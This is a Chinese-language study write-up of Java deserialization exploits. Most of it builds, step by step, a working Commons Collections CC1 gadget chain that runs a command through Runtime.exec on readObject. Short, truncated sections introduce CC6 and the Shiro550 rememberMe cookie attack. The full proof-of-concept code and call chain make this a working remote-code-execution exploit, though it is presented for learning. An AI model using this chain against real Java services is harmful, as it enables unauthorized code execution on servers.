找到一个public类型的decorate方法,且三个参数均为可控,而反观checkSetValue方法调用的是valueTransformer的transform方法
因此我们需要先调用这个方法实例化TransformedMap类,传入我们自定义的transformer(即invokerTransformer),再想办法调用checkSetValue方法即可
1 2 3 4 5 6 7 8 9 Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" });HashMap map = new HashMap ();Map transformedMap = TransformedMap.decorate(map, null , invokerTransformer);
接下来找找哪里调用了checkSetValue方法,直接查找用法
我们发现只有一个地方调用了,跟进AbstractInputCheckedMapDecorator类的setValue方法
这里的MapEntry定义的其实是AbstractMapEntryDecorator的子类
entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法
上面子类的setValue其实是重写的父类的setValue方法,我们来看一下AbstractMapEntryDecorator类
而这个类又引入了Map.Entry接口,我们只需要进行Map遍历,就可以调用setValue方法,从而调用checkSetValue方法
恰好TransformedMap对象又是Map类型,因此我们只需要遍历TransformedMap对象即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package com.y5neko.sec.deserialize;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class TestCC1 { public static void main (String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object,Object> map = new HashMap <>(); map.put("test" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); for (Map.Entry<Object, Object> entry:transformedMap.entrySet()){ entry.setValue(runtime); } } }
成功执行,但是这里并没有用到readObject方法,因此我们需要找到一个readObject方法,可以遍历Map,并且调用这个setValue方法
我们继续查找setValue的用法,最后在AnnotationInvocationHandler类中找到了一个调用了setValue的readObject方法,同时还能代替Map的遍历过程
因为readObject是private,所以接下来我们找到这个类的构造器
1 2 3 4 5 6 7 8 9 10 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
其中memberValues是可控的,我们可以传入自己的需要的类,然后实现setValue方法
但是我们可以看到,这个类并不是public声明,所以只能在包内被调用,因此我们需要通过反射来获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package com.y5neko.sec.deserialize;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class TestCC1 { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object,Object> map = new HashMap <>(); map.put("test" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object object = constructor.newInstance(Override.class, transformedMap); serialize(object); unserialize("H:\\学习记录\\学习记录Markdown\\Java安全通用\\CC1" ); } public static void serialize (Object object) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (Files.newOutputStream(Paths.get("H:\\学习记录\\学习记录Markdown\\Java安全通用\\CC1" ))); oos.writeObject(object); } public static void unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream=new ObjectInputStream (new FileInputStream (filename)); objectInputStream.readObject(); } }
运行之后发现并没有弹计算器,我们打开序列化后的数据,发现找不到最重要的Runtime类
跟进到Runtime类,发现并没有实现序列化接口,因此不能被序列化
但是原型类实现了序列化接口,我们可以通过获取Runtime的原型类进行反射
1 2 3 4 5 Class rt = Runtime.class;Method getRuntimeMethod = rt.getMethod("getRuntime" ,null );Runtime runtime = (Runtime) getRuntimeMethod.invoke(null ,null );Method execMethod = rt.getMethod("exec" , String.class);execMethod.invoke(runtime,"calc" );
我们之前提到过invokerTransformr类的transform方法可以代替反射操作,我们用transform改写一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Method getRuntime = (Method) new InvokerTransformer ( "getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null } ).transform(rt); Runtime runtime = (Runtime) new InvokerTransformer ( "invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null } ).transform(getRuntime); new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" } ).transform(runtime);
可以看到一共嵌套了三层,我们直接使用cc库中自带的链式transformer类ChainedTransformer
我们使用ChainedTransformer进行改写
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);chainedTransformer.transform(rt);
自此我们实现了通过Runtime原型类反射执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 package com.y5neko.sec.deserialize;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class TestCC1 { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); Class rt = Class.forName("java.lang.Runtime" ); Transformer[] transformers = new Transformer []{ new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); map.put("test" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); Object object = constructor.newInstance(Override.class, transformedMap); serialize(object); unserialize("H:\\学习记录\\学习记录Markdown\\Java安全通用\\CC1" ); } public static void serialize (Object object) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (Files.newOutputStream(Paths.get("H:\\学习记录\\学习记录Markdown\\Java安全通用\\CC1" ))); oos.writeObject(object); } public static void unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream=new ObjectInputStream (new FileInputStream (filename)); Object test = objectInputStream.readObject(); System.out.println(test); } }
现在回到触发点readObject处
观察了一下,发现我们要利用的setValue方法包括在第二层if语句内,因此我们需要同时满足这两个if条件,直接在第一个if处下断点运行
由于idea反编译,代码出现了变动,可以无视,此处变量var7即为memberType且值为null,直接跳出了语句
我们来看看memberType是什么
从名字我们可以看出,这个是用来处理注解中成员变量的,而我们此时使用的注解是Override
其中并没有成员变量,我们找一个其他的,例如Target注解中,存在一个value成员变量
我们可以使用Target注解,并且推一个键名为value的键值对
1 2 3 4 5 6 7 8 ...... map.put("test" ,"value" ); ...... Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true ); Object object = constructor.newInstance(Target.class, transformedMap);
现在var7即memberType的值不为空,满足第一个if
第二个if也满足,成功达到setValue方法,继续跟进
我们发现传入的value并不是需要的Runtime类,而是AnnotationTypeMismatchExceptionProxy,回到第二个if语句,我们可以看到setValue方法直接接受的是new AnnotationTypeMismatchExceptionProxy()
语句所实例化的对象,因此无法找到getDeclaredMethod方法
因此我们需要转换这里传入的value值,跟进checkSetValue方法发现是TransformedMap类
我们首先观察一下链式transform的流程,通过下标递增依次执行
可以看到这里执行的是valueTransformer的transform方法,这一条ChainedTransformer链一共有三个Transformer,我们跟进到ChainedTransformer的transform方法,当下标为0时传入对象为AnnotationTypeMismatchExceptionProxy,找不到getDeclaredMethod直接报错
我们要如何转换这里接收到的对象类型呢,这里我们要用到的是cc库中的ConstantTransformer类,它的作用是转换返回的常量类型
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);
继续运行跟进到chainedTransformer,当下标为0时执行ConstantTransformer的transform方法
此时将对象转换为了Runtime类并返回
成功达到终点,并进入Runtime类
整个调用链如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AbstractInputCheckedMapDecorator.MapEntry.setValue() TransformedMap.decorate() TransformedMap.checkSetValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getDeclaredMethod() InvokerTransformer.transform() Method.invoke() Class.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec ()
CC6 1 2 3 环境: JDK版本:jdk8u71 组件版本:commons-collections-3.2.1
分析 在JDK-8u71版本之后,cc-1的关键漏洞点AnnotationInvocationHandler.java的readObject方法做出了一下修改
Shiro550 分析 在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段 。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。
首先进行登录,勾选RememberMe选项
返回cookie字段钟存在rememberMe字段
或者直接携带任意rememberMe字段进行发包,相应包中存在deleteMe字段
当客户端再次请求服务端时,都会带上这个服务端第一次返回设置的Set-Cookie里面的rememberMe的密文,让服务端进行身份验证。
整个正常流程和攻击流程参照下图
可以看到触发点是cookie处理的部分,shiro默认使用CookieRememberMeManager类处理cookie
我们跟进到org.apache.shiro.web.mgt.CookieRememberMeManager
类
CookieRememberMeManager
类总共有四个涉及cookie处理的函数:CookieRememberMeManager
, rememberSerializedIdentity
,getRememberedSerializedIdentity
及forgetIdentity
(公有,私有,保护),我们依次来看
CookieRememberMeManager
构造方法,作用是设置一个cookie对象,并且设置HttpOnly和MaxAge,跟进到SimpleCookie类
设置了